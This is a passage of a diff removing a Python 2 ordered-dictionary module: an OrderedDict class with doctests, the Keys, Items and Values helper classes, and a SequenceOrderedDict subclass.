(2, 1)]) - """ - self.strict = strict - dict.__init__(self) - if isinstance(init_val, OrderedDict): - self._sequence = init_val.keys() - dict.update(self, init_val) - elif isinstance(init_val, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - self._sequence = [] - self.update(init_val) - -### Special methods ### - - def __delitem__(self, key): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> del d[3] - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> del d[3] - Traceback (most recent call last): - KeyError: 3 - >>> d[3] = 2 - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> del d[0:1] - >>> d - OrderedDict([(2, 1), (3, 2)]) - """ - if isinstance(key, types.SliceType): - # FIXME: efficiency? - keys = self._sequence[key] - for entry in keys: - dict.__delitem__(self, entry) - del self._sequence[key] - else: - # do the dict.__delitem__ *first* as it raises - # the more appropriate error - dict.__delitem__(self, key) - self._sequence.remove(key) - - def __eq__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d == OrderedDict(d) - True - >>> d == OrderedDict(((1, 3), (2, 1), (3, 2))) - False - >>> d == OrderedDict(((1, 0), (3, 2), (2, 1))) - False - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d == dict(d) - False - >>> d == False - False - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() == other.items()) - else: - return False - - def __lt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> c < d - True - >>> d < c - False - >>> d < dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() < other.items()) - - def __le__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c <= d - True - >>> d <= c - False - >>> d <= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> d <= e - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() <= other.items()) - - def __ne__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d != OrderedDict(d) - False - >>> d != OrderedDict(((1, 3), (2, 1), (3, 2))) - True - >>> d != OrderedDict(((1, 0), (3, 2), (2, 1))) - True - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d != dict(d) - True - >>> d != False - True - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return not (self.items() == other.items()) - else: - return True - - def __gt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> d > c - True - >>> c > d - False - >>> d > dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() > other.items()) - - def __ge__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c >= d - False - >>> d >= c - True - >>> d >= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> e >= d - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() >= other.items()) - - def __repr__(self): - """ - Used for __repr__ and __str__ - - >>> r1 = repr(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - >>> r1 - "OrderedDict([('a', 'b'), ('c', 'd'), ('e', 'f')])" - >>> r2 = repr(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - >>> r2 - "OrderedDict([('a', 'b'), ('e', 'f'), ('c', 'd')])" - >>> r1 == str(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - True - >>> r2 == str(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - True - """ - return '%s([%s])' % (self.__class__.__name__, ', '.join( - ['(%r, %r)' % (key, self[key]) for key in self._sequence])) - - def __setitem__(self, key, val): - """ - Allows slice assignment, so long as the slice is an OrderedDict - >>> d = OrderedDict() - >>> d['a'] = 'b' - >>> d['b'] = 'a' - >>> d[3] = 12 - >>> d - OrderedDict([('a', 'b'), ('b', 'a'), (3, 12)]) - >>> d[:] = OrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - OrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d[::2] = OrderedDict(((7, 8), (9, 10))) - >>> d - OrderedDict([(7, 8), (2, 3), (9, 10)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4))) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)), strict=True) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3)), strict=True) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4), (4, 5)]) - Traceback (most recent call last): - ValueError: slice assignment must be from unique keys - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3))) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::-1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(3, 4), (2, 3), (1, 2), (0, 1)]) - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = 3 - Traceback (most recent call last): - TypeError: slice assignment requires an OrderedDict - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = OrderedDict([(9, 8)]) - >>> d - OrderedDict([(9, 8), (1, 2), (2, 3), (3, 4)]) - """ - if isinstance(key, types.SliceType): - if not isinstance(val, OrderedDict): - # FIXME: allow a list of tuples? - raise TypeError('slice assignment requires an OrderedDict') - keys = self._sequence[key] - # NOTE: Could use ``range(*key.indices(len(self._sequence)))`` - indexes = range(len(self._sequence))[key] - if key.step is None: - # NOTE: new slice may not be the same size as the one being - # overwritten ! - # NOTE: What is the algorithm for an impossible slice? - # e.g. d[5:3] - pos = key.start or 0 - del self[key] - newkeys = val.keys() - for k in newkeys: - if k in self: - if self.strict: - raise ValueError('slice assignment must be from ' - 'unique keys') - else: - # NOTE: This removes duplicate keys *first* - # so start position might have changed? - del self[k] - self._sequence = (self._sequence[:pos] + newkeys + - self._sequence[pos:]) - dict.update(self, val) - else: - # extended slice - length of new slice must be the same - # as the one being replaced - if len(keys) != len(val): - raise ValueError('attempt to assign sequence of size %s ' - 'to extended slice of size %s' % (len(val), len(keys))) - # FIXME: efficiency? - del self[key] - item_list = zip(indexes, val.items()) - # smallest indexes first - higher indexes not guaranteed to - # exist - item_list.sort() - for pos, (newkey, newval) in item_list: - if self.strict and newkey in self: - raise ValueError('slice assignment must be from unique' - ' keys') - self.insert(pos, newkey, newval) - else: - if key not in self: - self._sequence.append(key) - dict.__setitem__(self, key, val) - - def __getitem__(self, key): - """ - Allows slicing. Returns an OrderedDict if you slice. - >>> b = OrderedDict([(7, 0), (6, 1), (5, 2), (4, 3), (3, 4), (2, 5), (1, 6)]) - >>> b[::-1] - OrderedDict([(1, 6), (2, 5), (3, 4), (4, 3), (5, 2), (6, 1), (7, 0)]) - >>> b[2:5] - OrderedDict([(5, 2), (4, 3), (3, 4)]) - >>> type(b[2:4]) - - """ - if isinstance(key, types.SliceType): - # FIXME: does this raise the error we want? - keys = self._sequence[key] - # FIXME: efficiency? - return OrderedDict([(entry, self[entry]) for entry in keys]) - else: - return dict.__getitem__(self, key) - - __str__ = __repr__ - - def __setattr__(self, name, value): - """ - Implemented so that accesses to ``sequence`` raise a warning and are - diverted to the new ``setkeys`` method. - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: doesn't return anything - self.setkeys(value) - else: - # FIXME: do we want to allow arbitrary setting of attributes? - # Or do we want to manage it? - object.__setattr__(self, name, value) - - def __getattr__(self, name): - """ - Implemented so that access to ``sequence`` raises a warning. - - >>> d = OrderedDict() - >>> d.sequence - [] - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: Still (currently) returns a direct reference. Need to - # because code that uses sequence will expect to be able to - # mutate it in place. - return self._sequence - else: - # raise the appropriate error - raise AttributeError("OrderedDict has no '%s' attribute" % name) - - def __deepcopy__(self, memo): - """ - To allow deepcopy to work with OrderedDict. - - >>> from copy import deepcopy - >>> a = OrderedDict([(1, 1), (2, 2), (3, 3)]) - >>> a['test'] = {} - >>> b = deepcopy(a) - >>> b == a - True - >>> b is a - False - >>> a['test'] is b['test'] - False - """ - from copy import deepcopy - return self.__class__(deepcopy(self.items(), memo), self.strict) - - -### Read-only methods ### - - def copy(self): - """ - >>> OrderedDict(((1, 3), (3, 2), (2, 1))).copy() - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - return OrderedDict(self) - - def items(self): - """ - ``items`` returns a list of tuples representing all the - ``(key, value)`` pairs in the dictionary. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.items() - [(1, 3), (3, 2), (2, 1)] - >>> d.clear() - >>> d.items() - [] - """ - return zip(self._sequence, self.values()) - - def keys(self): - """ - Return a list of keys in the ``OrderedDict``. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - """ - return self._sequence[:] - - def values(self, values=None): - """ - Return a list of all the values in the OrderedDict. - - Optionally you can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.values() - [3, 2, 1] - """ - return [self[key] for key in self._sequence] - - def iteritems(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iteritems() - >>> ii.next() - (1, 3) - >>> ii.next() - (3, 2) - >>> ii.next() - (2, 1) - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - key = keys.next() - yield (key, self[key]) - return make_iter() - - def iterkeys(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iterkeys() - >>> ii.next() - 1 - >>> ii.next() - 3 - >>> ii.next() - 2 - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - return iter(self._sequence) - - __iter__ = iterkeys - - def itervalues(self): - """ - >>> iv = OrderedDict(((1, 3), (3, 2), (2, 1))).itervalues() - >>> iv.next() - 3 - >>> iv.next() - 2 - >>> iv.next() - 1 - >>> iv.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - yield self[keys.next()] - return make_iter() - -### Read-write methods ### - - def clear(self): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.clear() - >>> d - OrderedDict([]) - """ - dict.clear(self) - self._sequence = [] - - def pop(self, key, *args): - """ - No dict.pop in Python 2.2, gotta reimplement it - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.pop(3) - 2 - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> d.pop(4) - Traceback (most recent call last): - KeyError: 4 - >>> d.pop(4, 0) - 0 - >>> d.pop(4, 0, 1) - Traceback (most recent call last): - TypeError: pop expected at most 2 arguments, got 3 - """ - if len(args) > 1: - raise TypeError, ('pop expected at most 2 arguments, got %s' % - (len(args) + 1)) - if key in self: - val = self[key] - del self[key] - else: - try: - val = args[0] - except IndexError: - raise KeyError(key) - return val - - def popitem(self, i=-1): - """ - Delete and return an item specified by index, not a random one as in - dict. The index is -1 by default (the last item). - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.popitem() - (2, 1) - >>> d - OrderedDict([(1, 3), (3, 2)]) - >>> d.popitem(0) - (1, 3) - >>> OrderedDict().popitem() - Traceback (most recent call last): - KeyError: 'popitem(): dictionary is empty' - >>> d.popitem(2) - Traceback (most recent call last): - IndexError: popitem(): index 2 not valid - """ - if not self._sequence: - raise KeyError('popitem(): dictionary is empty') - try: - key = self._sequence[i] - except IndexError: - raise IndexError('popitem(): index %s not valid' % i) - return (key, self.pop(key)) - - def setdefault(self, key, defval = None): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setdefault(1) - 3 - >>> d.setdefault(4) is None - True - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None)]) - >>> d.setdefault(5, 0) - 0 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None), (5, 0)]) - """ - if key in self: - return self[key] - else: - self[key] = defval - return defval - - def update(self, from_od): - """ - Update from another OrderedDict or sequence of (key, value) pairs - - >>> d = OrderedDict(((1, 0), (0, 1))) - >>> d.update(OrderedDict(((1, 3), (3, 2), (2, 1)))) - >>> d - OrderedDict([(1, 3), (0, 1), (3, 2), (2, 1)]) - >>> d.update({4: 4}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> d.update((4, 4)) - Traceback (most recent call last): - TypeError: cannot convert dictionary update sequence element "4" to a 2-item sequence - """ - if isinstance(from_od, OrderedDict): - for key, val in from_od.items(): - self[key] = val - elif isinstance(from_od, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - # FIXME: efficiency? - # sequence of 2-item sequences, or error - for item in from_od: - try: - key, val = item - except TypeError: - raise TypeError('cannot convert dictionary update' - ' sequence element "%s" to a 2-item sequence' % item) - self[key] = val - - def rename(self, old_key, new_key): - """ - Rename the key for a given value, without modifying sequence order. - - For the case where new_key already exists this raise an exception, - since if new_key exists, it is ambiguous as to what happens to the - associated values, and the position of new_key in the sequence. - - >>> od = OrderedDict() - >>> od['a'] = 1 - >>> od['b'] = 2 - >>> od.items() - [('a', 1), ('b', 2)] - >>> od.rename('b', 'c') - >>> od.items() - [('a', 1), ('c', 2)] - >>> od.rename('c', 'a') - Traceback (most recent call last): - ValueError: New key already exists: 'a' - >>> od.rename('d', 'b') - Traceback (most recent call last): - KeyError: 'd' - """ - if new_key == old_key: - # no-op - return - if new_key in self: - raise ValueError("New key already exists: %r" % new_key) - # rename sequence entry - value = self[old_key] - old_idx = self._sequence.index(old_key) - self._sequence[old_idx] = new_key - # rename internal dict entry - dict.__delitem__(self, old_key) - dict.__setitem__(self, new_key, value) - - def setitems(self, items): - """ - This method allows you to set the items in the dict. - - It takes a list of tuples - of the same sort returned by the ``items`` - method. - - >>> d = OrderedDict() - >>> d.setitems(((3, 1), (2, 3), (1, 2))) - >>> d - OrderedDict([(3, 1), (2, 3), (1, 2)]) - """ - self.clear() - # FIXME: this allows you to pass in an OrderedDict as well :-) - self.update(items) - - def setkeys(self, keys): - """ - ``setkeys`` all ows you to pass in a new list of keys which will - replace the current set. This must contain the same set of keys, but - need not be in the same order. - - If you pass in new keys that don't match, a ``KeyError`` will be - raised. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - >>> d.setkeys((1, 2, 3)) - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> d.setkeys(['a', 'b', 'c']) - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - """ - # FIXME: Efficiency? (use set for Python 2.4 :-) - # NOTE: list(keys) rather than keys[:] because keys[:] returns - # a tuple, if keys is a tuple. - kcopy = list(keys) - kcopy.sort() - self._sequence.sort() - if kcopy != self._sequence: - raise KeyError('Keylist is not the same as current keylist.') - # NOTE: This makes the _sequence attribute a new object, instead - # of changing it in place. - # FIXME: efficiency? - self._sequence = list(keys) - - def setvalues(self, values): - """ - You can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - (Or a ``ValueError`` is raised.) - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setvalues((1, 2, 3)) - >>> d - OrderedDict([(1, 1), (3, 2), (2, 3)]) - >>> d.setvalues([6]) - Traceback (most recent call last): - ValueError: Value list is not the same length as the OrderedDict. - """ - if len(values) != len(self): - # FIXME: correct error to raise? - raise ValueError('Value list is not the same length as the ' - 'OrderedDict.') - self.update(zip(self, values)) - -### Sequence Methods ### - - def index(self, key): - """ - Return the position of the specified key in the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.index(3) - 1 - >>> d.index(4) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - """ - return self._sequence.index(key) - - def insert(self, index, key, value): - """ - Takes ``index``, ``key``, and ``value`` as arguments. - - Sets ``key`` to ``value``, so that ``key`` is at position ``index`` in - the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.insert(0, 4, 0) - >>> d - OrderedDict([(4, 0), (1, 3), (3, 2), (2, 1)]) - >>> d.insert(0, 2, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2)]) - >>> d.insert(8, 8, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2), (8, 1)]) - """ - if key in self: - # FIXME: efficiency? - del self[key] - self._sequence.insert(index, key) - dict.__setitem__(self, key, value) - - def reverse(self): - """ - Reverse the order of the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.reverse() - >>> d - OrderedDict([(2, 1), (3, 2), (1, 3)]) - """ - self._sequence.reverse() - - def sort(self, *args, **kwargs): - """ - Sort the key order in the OrderedDict. - - This method takes the same arguments as the ``list.sort`` method on - your version of Python. - - >>> d = OrderedDict(((4, 1), (2, 2), (3, 3), (1, 4))) - >>> d.sort() - >>> d - OrderedDict([(1, 4), (2, 2), (3, 3), (4, 1)]) - """ - self._sequence.sort(*args, **kwargs) - -if INTP_VER >= (2, 7): - from collections import OrderedDict -else: - OrderedDict = _OrderedDict - -class Keys(object): - # FIXME: should this object be a subclass of list? - """ - Custom object for accessing the keys of an OrderedDict. - - Can be called like the normal ``OrderedDict.keys`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the keys method.""" - return self._main._keys() - - def __getitem__(self, index): - """Fetch the key at position i.""" - # NOTE: this automatically supports slicing :-) - return self._main._sequence[index] - - def __setitem__(self, index, name): - """ - You cannot assign to keys, but you can do slice assignment to re-order - them. - - You can only do slice assignment if the new set of keys is a reordering - of the original set. - """ - if isinstance(index, types.SliceType): - # FIXME: efficiency? - # check length is the same - indexes = range(len(self._main._sequence))[index] - if len(indexes) != len(name): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(indexes))) - # check they are the same keys - # FIXME: Use set - old_keys = self._main._sequence[index] - new_keys = list(name) - old_keys.sort() - new_keys.sort() - if old_keys != new_keys: - raise KeyError('Keylist is not the same as current keylist.') - orig_vals = [self._main[k] for k in name] - del self._main[index] - vals = zip(indexes, name, orig_vals) - vals.sort() - for i, k, v in vals: - if self._main.strict and k in self._main: - raise ValueError('slice assignment must be from ' - 'unique keys') - self._main.insert(i, k, v) - else: - raise ValueError('Cannot assign to keys') - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main._sequence) - - # FIXME: do we need to check if we are comparing with another ``Keys`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main._sequence < other - def __le__(self, other): return self._main._sequence <= other - def __eq__(self, other): return self._main._sequence == other - def __ne__(self, other): return self._main._sequence != other - def __gt__(self, other): return self._main._sequence > other - def __ge__(self, other): return self._main._sequence >= other - # FIXME: do we need __cmp__ as well as rich comparisons? - def __cmp__(self, other): return cmp(self._main._sequence, other) - - def __contains__(self, item): return item in self._main._sequence - def __len__(self): return len(self._main._sequence) - def __iter__(self): return self._main.iterkeys() - def count(self, item): return self._main._sequence.count(item) - def index(self, item, *args): return self._main._sequence.index(item, *args) - def reverse(self): self._main._sequence.reverse() - def sort(self, *args, **kwds): self._main._sequence.sort(*args, **kwds) - def __mul__(self, n): return self._main._sequence*n - __rmul__ = __mul__ - def __add__(self, other): return self._main._sequence + other - def __radd__(self, other): return other + self._main._sequence - - ## following methods not implemented for keys ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from keys') - def __iadd__(self, other): raise TypeError('Can\'t add in place to keys') - def __imul__(self, n): raise TypeError('Can\'t multiply keys in place') - def append(self, item): raise TypeError('Can\'t append items to keys') - def insert(self, i, item): raise TypeError('Can\'t insert items into keys') - def pop(self, i=-1): raise TypeError('Can\'t pop items from keys') - def remove(self, item): raise TypeError('Can\'t remove items from keys') - def extend(self, other): raise TypeError('Can\'t extend keys') - -class Items(object): - """ - Custom object for accessing the items of an OrderedDict. - - Can be called like the normal ``OrderedDict.items`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the items method.""" - return self._main._items() - - def __getitem__(self, index): - """Fetch the item at position i.""" - if isinstance(index, types.SliceType): - # fetching a slice returns an OrderedDict - return self._main[index].items() - key = self._main._sequence[index] - return (key, self._main[key]) - - def __setitem__(self, index, item): - """Set item at position i to item.""" - if isinstance(index, types.SliceType): - # NOTE: item must be an iterable (list of tuples) - self._main[index] = OrderedDict(item) - else: - # FIXME: Does this raise a sensible error? - orig = self._main.keys[index] - key, value = item - if self._main.strict and key in self and (key != orig): - raise ValueError('slice assignment must be from ' - 'unique keys') - # delete the current one - del self._main[self._main._sequence[index]] - self._main.insert(index, key, value) - - def __delitem__(self, i): - """Delete the item at position i.""" - key = self._main._sequence[i] - if isinstance(i, types.SliceType): - for k in key: - # FIXME: efficiency? - del self._main[k] - else: - del self._main[key] - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.items()) - - # FIXME: do we need to check if we are comparing with another ``Items`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.items() < other - def __le__(self, other): return self._main.items() <= other - def __eq__(self, other): return self._main.items() == other - def __ne__(self, other): return self._main.items() != other - def __gt__(self, other): return self._main.items() > other - def __ge__(self, other): return self._main.items() >= other - def __cmp__(self, other): return cmp(self._main.items(), other) - - def __contains__(self, item): return item in self._main.items() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.iteritems() - def count(self, item): return self._main.items().count(item) - def index(self, item, *args): return self._main.items().index(item, *args) - def reverse(self): self._main.reverse() - def sort(self, *args, **kwds): self._main.sort(*args, **kwds) - def __mul__(self, n): return self._main.items()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.items() + other - def __radd__(self, other): return other + self._main.items() - - def append(self, item): - """Add an item to the end.""" - # FIXME: this is only append if the key isn't already present - key, value = item - self._main[key] = value - - def insert(self, i, item): - key, value = item - self._main.insert(i, key, value) - - def pop(self, i=-1): - key = self._main._sequence[i] - return (key, self._main.pop(key)) - - def remove(self, item): - key, value = item - try: - assert value == self._main[key] - except (KeyError, AssertionError): - raise ValueError('ValueError: list.remove(x): x not in list') - else: - del self._main[key] - - def extend(self, other): - # FIXME: is only a true extend if none of the keys already present - for item in other: - key, value = item - self._main[key] = value - - def __iadd__(self, other): - self.extend(other) - - ## following methods not implemented for items ## - - def __imul__(self, n): raise TypeError('Can\'t multiply items in place') - -class Values(object): - """ - Custom object for accessing the values of an OrderedDict. - - Can be called like the normal ``OrderedDict.values`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the values method.""" - return self._main._values() - - def __getitem__(self, index): - """Fetch the value at position i.""" - if isinstance(index, types.SliceType): - return [self._main[key] for key in self._main._sequence[index]] - else: - return self._main[self._main._sequence[index]] - - def __setitem__(self, index, value): - """ - Set the value at position i to value. - - You can only do slice assignment to values if you supply a sequence of - equal length to the slice you are replacing. - """ - if isinstance(index, types.SliceType): - keys = self._main._sequence[index] - if len(keys) != len(value): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(keys))) - # FIXME: efficiency? Would be better to calculate the indexes - # directly from the slice object - # NOTE: the new keys can collide with existing keys (or even - # contain duplicates) - these will overwrite - for key, val in zip(keys, value): - self._main[key] = val - else: - self._main[self._main._sequence[index]] = value - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.values()) - - # FIXME: do we need to check if we are comparing with another ``Values`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.values() < other - def __le__(self, other): return self._main.values() <= other - def __eq__(self, other): return self._main.values() == other - def __ne__(self, other): return self._main.values() != other - def __gt__(self, other): return self._main.values() > other - def __ge__(self, other): return self._main.values() >= other - def __cmp__(self, other): return cmp(self._main.values(), other) - - def __contains__(self, item): return item in self._main.values() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.itervalues() - def count(self, item): return self._main.values().count(item) - def index(self, item, *args): return self._main.values().index(item, *args) - - def reverse(self): - """Reverse the values""" - vals = self._main.values() - vals.reverse() - # FIXME: efficiency - self[:] = vals - - def sort(self, *args, **kwds): - """Sort the values.""" - vals = self._main.values() - vals.sort(*args, **kwds) - self[:] = vals - - def __mul__(self, n): return self._main.values()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.values() + other - def __radd__(self, other): return other + self._main.values() - - ## following methods not implemented for values ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from values') - def __iadd__(self, other): raise TypeError('Can\'t add in place to values') - def __imul__(self, n): raise TypeError('Can\'t multiply values in place') - def append(self, item): raise TypeError('Can\'t append items to values') - def insert(self, i, item): raise TypeError('Can\'t insert items into values') - def pop(self, i=-1): raise TypeError('Can\'t pop items from values') - def remove(self, item): raise TypeError('Can\'t remove items from values') - def extend(self, other): raise TypeError('Can\'t extend values') - -class SequenceOrderedDict(OrderedDict): - """ - Experimental version of OrderedDict that has a custom object for ``keys``, - ``values``, and ``items``. - - These are callable sequence objects that work as methods, or can be - manipulated directly as sequences. - - Test for ``keys``, ``items`` and ``values``. - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys - [1, 2, 3] - >>> d.keys() - [1, 2, 3] - >>> d.setkeys((3, 2, 1)) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.setkeys((1, 2, 3)) - >>> d.keys[0] - 1 - >>> d.keys[:] - [1, 2, 3] - >>> d.keys[-1] - 3 - >>> d.keys[-2] - 2 - >>> d.keys[0:2] = [2, 1] - >>> d - SequenceOrderedDict([(2, 3), (1, 2), (3, 4)]) - >>> d.keys.reverse() - >>> d.keys - [3, 1, 2] - >>> d.keys = [1, 2, 3] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys = [3, 1, 2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2), (2, 3)]) - >>> a = SequenceOrderedDict() - >>> b = SequenceOrderedDict() - >>> a.keys == b.keys - 1 - >>> a['a'] = 3 - >>> a.keys == b.keys - 0 - >>> b['a'] = 3 - >>> a.keys == b.keys - 1 - >>> b['b'] = 3 - >>> a.keys == b.keys - 0 - >>> a.keys > b.keys - 0 - >>> a.keys < b.keys - 1 - >>> 'a' in a.keys - 1 - >>> len(b.keys) - 2 - >>> 'c' in d.keys - 0 - >>> 1 in d.keys - 1 - >>> [v for v in d.keys] - [3, 1, 2] - >>> d.keys.sort() - >>> d.keys - [1, 2, 3] - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)), strict=True) - >>> d.keys[::-1] = [1, 2, 3] - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.keys[:2] - [3, 2] - >>> d.keys[:2] = [1, 3] - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.values - [2, 3, 4] - >>> d.values() - [2, 3, 4] - >>> d.setvalues((4, 3, 2)) - >>> d - SequenceOrderedDict([(1, 4), (2, 3), (3, 2)]) - >>> d.values[::-1] - [2, 3, 4] - >>> d.values[0] - 4 - >>> d.values[-2] - 3 - >>> del d.values[0] - Traceback (most recent call last): - TypeError: Can't delete items from values - >>> d.values[::2] = [2, 4] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> 7 in d.values - 0 - >>> len(d.values) - 3 